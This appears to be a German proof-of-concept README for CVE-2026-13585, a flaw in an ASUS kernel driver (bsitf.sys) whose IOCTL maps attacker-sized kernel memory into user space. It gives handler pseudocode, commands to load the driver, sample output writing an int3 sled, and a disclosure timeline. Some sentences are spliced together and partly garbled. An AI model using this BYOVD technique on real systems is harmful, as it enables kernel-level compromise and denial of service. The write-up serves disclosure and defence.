
PoC für CVE-2026-13585
Der ASUS-Kerneltreiber bsitf.sys (auch als AsusBSItf.sys vertrieben) stellt den IOCTL 0x222808 zur Verfügung, der physisch zusammenhängenden Kernelspeicher in einer vom Angreifer kontrollierten Größe alloziert, ihn mit vollständigen Lese-/Schreibberechtigungen in den Adressraum des aufrufenden Prozesses abbildet und sowohl die virtuelle Adresse im Benutzermodus als auch die physische Adresse an den Aufrufer zurückgibt.
Das Gerät erfordert Administratorrechte zum Öffnen, was dies zu einer Admin-zu-Kernel-Eskalation macht. In einem BYOVD (Bring Your Own Vulnerable Driver)-Szenario kann ein Angreifer, der bereits Administratorrechte besitzt (z. B. durch Social Engineering oder einen separaten Exploit), diesen legitim signierten Treiber laden, um ohne Kernel-Exploit beliebigen Kernel-Speicherzugriff zu erlangen.
| Version | Dateiname | Paket | Pool-Typ |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool (ausführbar) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
Alle Versionen erstellen das Gerät \Device\bsitf mit dem Symlink \DosDevices\bsitf.
Der abgebildete Puffer ist eine frische Kernelspeicher-Pool-Allokation, keine beliebige Kerneladresse. Der Aufrufer kontrolliert dessen Inhalt, aber nicht dessen Position. Dies schränkt die Ausnutzung im Vergleich zu einem echten beliebigen Kernel-Lesen/Schreiben ein.
NonPagedPool und verursachen einen BSOD. Es wird keine Größenbeschränkung oder Allokationsgrenze durchgesetzt.NonPagedPool (ausführbar). Shellcode kann aus dem Benutzermodus in den abgebildeten Puffer geschrieben werden, aber es ist eine separate Schwachstelle erforderlich, um die Kernelausführung auf die Pufferadresse umzuleiten.Auf v3.1.x-Versionen (NonPagedPoolNx) ist der Puffer nicht ausführbar und die praktischen Auswirkungen beschränken sich auf DoS und die Offenlegung der physischen Adresse.
IOCTL 0x222808 im Dispatch-Handler führt Folgendes ohne Eingabevalidierung durch:
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
Es gibt keine Prüfungen der Allokationsgröße, der Anzahl ausstehender Allokationen oder der Eingabevalidierung. Das Gerät erfordert Admin-Rechte zum Öffnen, aber sobald ein Handle erworben wurde, sind IOCTLs uneingeschränkt.
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# default: 0x1000 (4KB) allocation
cargo run --release
# custom size (hex)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Getestet auf Windows 11 24H2 (erfordert Administrator).
NonPagedPoolNx in allen Versionen.| Datum | Ereignis |
|---|---|
| 2026-04-06 | Schwachstelle durch automatisierte Analyse entdeckt |
| 2026-04-06 | PoC auf Windows 11 24H2 bestätigt |
| 2026-04-06 | Bericht an ASUS PSIRT übermittelt |
\Device\bsitf, Symlink: \DosDevices\bsitfFUN_140001070Dieses Proof of Concept wird ausschließlich für autorisierte Sicherheitsforschung und verantwortungsvolle Offenlegung bereitgestellt. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine explizite Erlaubnis zum Testen haben.